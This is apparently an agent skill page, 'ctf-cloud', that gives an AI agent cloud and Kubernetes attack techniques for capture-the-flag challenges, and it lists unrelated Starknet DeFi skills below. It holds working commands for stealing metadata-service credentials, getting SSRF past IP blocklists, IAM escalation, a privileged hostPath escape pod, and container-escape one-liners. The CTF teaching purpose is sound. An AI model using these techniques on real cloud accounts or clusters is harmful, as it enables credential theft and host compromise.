AGENT SKILL

ctf-cloud

Provides cloud, container and Kubernetes attack techniques for CTF challenges. Use when a challenge involves AWS, Azure or GCP credentials, instance metadata (169.254.169.254), S3 or blob storage, IAM policies, ECS task roles, Lambda, a Kubernetes service-account token or kubelet, a Docker socket or container escape, a privileged pod, CI/CD runner secrets, or leaked Terraform and cloud-init configuration. Also use when an SSRF reaches a metadata endpoint or cloud credentials appear in an environment, config file or response. Do not use it for plain web application bugs with no cloud layer, native binary memory corruption, or disk and memory forensics.

License 许可
MIT
最近更新
2026-11-15
Stars
★ 81
Forks
17

01 前言 Front Matter

name
ctf-cloud
license
MIT
metadata
{ "user-invocable": "false" }
description
Provides cloud, container and Kubernetes attack techniques for CTF challenges. Use when a challenge involves AWS, Azure or GCP credentials, instance metadata (169.254.169.254), S3 or blob storage, IAM policies, ECS task roles, Lambda, a Kubernetes service-account token or kubelet, a Docker socket or container escape, a privileged pod, CI/CD runner secrets, or leaked Terraform and cloud-init configuration. Also use when an SSRF reaches a metadata endpoint or cloud credentials appear in an environment, config file or response. Do not use it for plain web application bugs with no cloud layer, native binary memory corruption, or disk and memory forensics.
allowed-tools
Bash Read Write Edit Glob Grep Task WebFetch WebSearch Skill
compatibility
Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.

02 资源文件 3

03 SKILL.md 正文

CTF Cloud, Container & Kubernetes

Cloud challenges are almost always credential chains: find one credential, use it to read one more, escalate, then read the flag from the service that holds it. Map the chain before firing tools.

Scope and safety

Only touch accounts, endpoints and clusters the challenge gives you. Never run enumeration against real cloud accounts, and never leave IAM users, access keys or pods behind on shared infrastructure. Keep artifacts under ctf-solver/workspaces/<challenge>/.

Prerequisites

pip install awscli boto3          # awscli is already present in the ctf-solver image
# optional, per target:
#   azure-cli, google-cloud-cli, kubectl, kubelet, docker CLI, jq

The container ships aws and jq but not kubectl, docker, az or gcloud — check with command -v before planning a step that needs them, and install only what the challenge actually requires.

Step 1: What do you actually hold?

You have Start here
An SSRF, URL fetch, or "preview link" feature Metadata endpoints below
AWS_* env vars, ~/.aws/credentials, or a key in a response Credential triage
A kubeconfig, KUBERNETES_SERVICE_HOST, or a file at /var/run/secrets/kubernetes.io/serviceaccount/token Kubernetes
/var/run/docker.sock, docker group, CAP_SYS_ADMIN, or a privileged container Container escape
A repo with terraform/, cloudformation/, .github/workflows/, .gitlab-ci.yml CI/CD and IaC
A Lambda/Function URL or a serverless invoke permission Serverless

Metadata endpoints

# AWS EC2 (IMDSv1) — role name first, then credentials
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl -s http://169.254.169.254/latest/user-data
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document

# AWS EC2 (IMDSv2) — a token is required, so a plain GET returns 401
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS ECS / Fargate task role
curl -s "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"

# GCP — the header is mandatory
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/project/attributes/

# Azure — the Metadata header is mandatory
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Others: DigitalOcean /metadata/v1/, Alibaba 100.100.100.200, OpenStack 169.254.169.254/openstack

SSRF notes that decide these challenges:

  • IMDSv2 needs a PUT, so an SSRF that only follows GETs will fail against a hardened instance. Look for a redirect or a request-method primitive.
  • AWS also answers on http://[fd00:ec2::254] over IPv6 — useful when the SSRF blocks the IPv4 literal but allows a bracketed IPv6 host.
  • A blocklist for 169.254.169.254 is often bypassable with decimal/octal/hex IPs (2852039166, 0251.0376.0251.0376), a DNS name resolving to it, or a redirect from an allowed host.
  • user-data frequently contains bootstrap secrets, and instance-identity/document gives region and account ID needed for CLI calls.

Credential triage (AWS)

aws sts get-caller-identity                      # who am I, which account
export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... AWS_DEFAULT_REGION=us-east-1

# enumerate what this identity can see
aws iam list-attached-user-policies --user-name <me>
aws iam list-user-policies --user-name <me>
aws iam get-policy-version --policy-arn <arn> --version-id v1
aws s3 ls
aws secretsmanager list-secrets
aws ssm describe-parameters
aws lambda list-functions
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,Tags]'

If the identity is a role, aws sts assume-role into anything its trust policy allows — a trust policy with "Principal": {"AWS": "*"} and no ExternalId condition is the usual intended path.

IAM escalation primitives worth testing in order of reliability:

  • iam:CreatePolicyVersion with --set-as-default on a policy you already attach to yourself
  • iam:AttachUserPolicy / PutUserPolicy (self-attach AdministratorAccess)
  • iam:PassRole + lambda:CreateFunction (or ec2:RunInstances) → run as a more privileged role
  • lambda:UpdateFunctionCode on an existing function → execute inside its role, then read os.environ
  • iam:CreateAccessKey on another user, sts:AssumeRole on a permissive role

S3 specifics: aws s3 ls s3://<bucket> --no-sign-request tests for public read; aws s3 cp s3://<bucket>/flag.txt - reads it; a bucket in another region needs --region. Bucket policies, ACLs and list-object-versions (old versions often keep deleted flags) are all fair game.

Kubernetes

# from inside a pod
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
kubectl --server=https://kubernetes.default.svc --token="$TOKEN" \
  --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  auth can-i --list
kubectl --server=https://kubernetes.default.svc --token="$TOKEN" --insecure-skip-tls-verify get secrets -A

Common intended paths:

  • Over-permissive RBAC — create pods or create deployments in a namespace lets you schedule a pod with hostPath: / and read the node, or mount the flag from a secret.
  • Secret read — get secrets in the target namespace is usually the whole challenge; decode with base64 -d.
  • pods/exec — exec into a pod that already has the flag or a more privileged token.
  • Kubelet API on :10250 (/pods, /run/<ns>/<pod>/<container>) — anonymous auth or a stolen kubelet client cert; :10255 is the read-only port.
  • etcd on :2379 with no client cert — etcdctl get / --prefix --keys-only dumps every secret.
  • Token projection abuse — a pod that can create ServiceAccountToken requests, or a long-lived token in a leaked manifest.

Escape pod skeleton (only when RBAC allows creating pods):

apiVersion: v1
kind: Pod
metadata: {name: pwn, namespace: <ns>}
spec:
  hostPID: true
  hostNetwork: true
  containers:
    - name: c
      image: alpine
      command: ["/bin/sh","-c","sleep 100000"]
      securityContext: {privileged: true}
      volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]

Then nsenter --target 1 --mount --uts --ipc --net --pid -- sh or read /host/flag.

Container escape

Condition Escape
/var/run/docker.sock mounted docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host sh
Privileged container mount the host disk: mkdir /mnt/h && mount /dev/sda1 /mnt/h, or nsenter via hostPID
CAP_SYS_ADMIN mkdir /tmp/c && mount -t cgroup -o rdma cgroup /tmp/c then the cgroup v1 release_agent trick
Host PID namespace nsenter -t 1 -m -u -i -n -p -- sh, or read /proc/1/root/flag
Writable /proc/sys/kernel/core_pattern pipe a core handler to a script you control, then crash a privileged process
Only a weak seccomp/AppArmor gap see ctf-pwn for the binary-level path

Always check the basics first: id, capsh --print, cat /proc/1/cgroup (tells you whether you are in Docker/K8s), mount | head, ls -l /var/run/docker.sock, ls /dev, and whether / is the host filesystem already.

CI/CD and IaC

  • .github/workflows/*.yml — pull_request_target, workflow_run, and unpinned actions/checkout in a privileged job are the classic escalation; a token in ${{ secrets.X }} printed by a modified step leaks it.
  • .gitlab-ci.yml — CI_JOB_TOKEN scope, unprotected branches running on shared runners, artifacts containing credentials.
  • Jenkins — /script Groovy console, jenkins-cli, credentials bound to a job you can edit.
  • Terraform state (terraform.tfstate, .terraform/) holds plaintext secrets and ARNs — read it before anything else. cloud-init/user-data in the repo is the same idea.
  • .git/config with an embedded token, and git log -p on a repo where a secret was committed then removed.

Serverless

aws lambda get-function-configuration --function-name <fn> --query 'Environment'
aws lambda invoke --function-name <fn> --payload '{}' out.json && cat out.json

Environment.Variables usually holds the flag or a database password. Function URLs and API Gateway stages may be invokeable without auth (--no-sign-request equivalent: plain curl).

Common flag locations

  • EC2/ECS user-data, SSM Parameter Store, Secrets Manager values
  • S3/GCS/Azure blob objects, including non-current object versions
  • Kubernetes Secrets, pod env vars, ConfigMaps, node filesystem via hostPath
  • Lambda environment variables, CI job logs, Terraform state
  • /flag, /root/flag, /host/flag after a container escape

When to pivot

  • The cloud flaw is reached through an SSRF or an app bug → /ctf-web for the injection side
  • You land in a privileged container and the challenge becomes a kernel or binary exploit → /ctf-pwn
  • The "cloud" challenge is really a crypto/JWT signing problem with cloud-shaped names → /ctf-crypto
  • You need the original Kubernetes RBAC and Docker escape write-ups → ../ctf-misc/games-and-vms.md and ../ctf-misc/games-and-vms-3.md

Verify

aws sts get-caller-identity
kubectl version --client
curl -s -o /dev/null -w '%{http_code}\n' http://169.254.169.254/latest/meta-data/

Never report a flag read from a decoy path without confirming it matches the challenge's expected format.

04 同仓库更多 Skills

jiayaoqijia
jiayaoqijia/cryptoskill

troves

Deposit and withdraw from Troves DeFi yield vault strategies on Starknet. View available strategies, check positions, and manage vault deposits. Use this skill when the user mentions Troves, vault, yield vault, DeFi vault, strategy, yield farming, vault deposit, vault withdraw, earning yield through vaults, passive yield strategies, or wants to deposit into or withdraw from a yield strategy — even if they don't say "Troves" explicitly.

★ 81
jiayaoqijia
jiayaoqijia/cryptoskill

trade

Swap tokens on Starknet via Fibrous DEX aggregator. Supports per-provider selection (avnu, ekubo, or auto to race all). Use this skill when the user wants to swap, exchange, trade, convert, buy, or sell one token for another on Starknet. Also use when the user asks about token prices, exchange rates, DEX routing, best swap route, or wants to check how much they would receive for a given amount — even if they don't explicitly say "swap".

★ 81
jiayaoqijia
jiayaoqijia/cryptoskill

staking

Stake, unstake, claim, and compound rewards for STRK, WBTC, tBTC, SolvBTC, and LBTC on Starknet. View validators, pools, and staking positions. Use this skill when the user mentions staking, delegating, validators, staking pools, rewards, compounding, unstaking, earning yield, passive income on crypto, or wants to earn on their STRK or BTC tokens — even if they don't say "stake" explicitly.

★ 81
jiayaoqijia
jiayaoqijia/cryptoskill

send

Send STRK, ETH, or any ERC-20 token to a Starknet address. Supports simulation (dry-run) before execution. Use this skill when the user wants to send, transfer, pay, tip, or move tokens to another wallet address on Starknet. Also trigger when the user mentions sending funds to someone, making a payment, transferring assets, or moving crypto to a specific address — even if they just say "pay 10 STRK to 0x...".

★ 81
jiayaoqijia
jiayaoqijia/cryptoskill

portfolio

View a comprehensive DeFi portfolio dashboard and optimize portfolio allocation via automated rebalancing. Use this skill when the user wants an overview, summary, dashboard, total value, net worth, portfolio rebalancing, target allocation, or wants to see all their DeFi positions across Starknet at once. Also trigger when the user asks "what do I have", "show me everything", "how much am I worth", "my positions", "my investments", "rebalance my portfolio", "I want 50% ETH", "optimize my holdings", or any request for a holistic view of their Starknet holdings — even if they don't explicitly say "portfolio".

★ 81
jiayaoqijia
jiayaoqijia/cryptoskill

multi-swap

Execute multiple token swaps in a single Starknet transaction via Fibrous (default). Supports per-provider selection (avnu, ekubo, or auto to race all). Supports 2-3 swap pairs bundled into one multicall. Use this skill when the user wants to swap multiple token pairs at once, do batch swaps, execute several trades simultaneously, perform parallel swaps, or do bulk trading in one transaction. Also trigger when the user mentions "two swaps", "three swaps", "swap X and Y at the same time", or wants to convert multiple tokens in a single call.

★ 81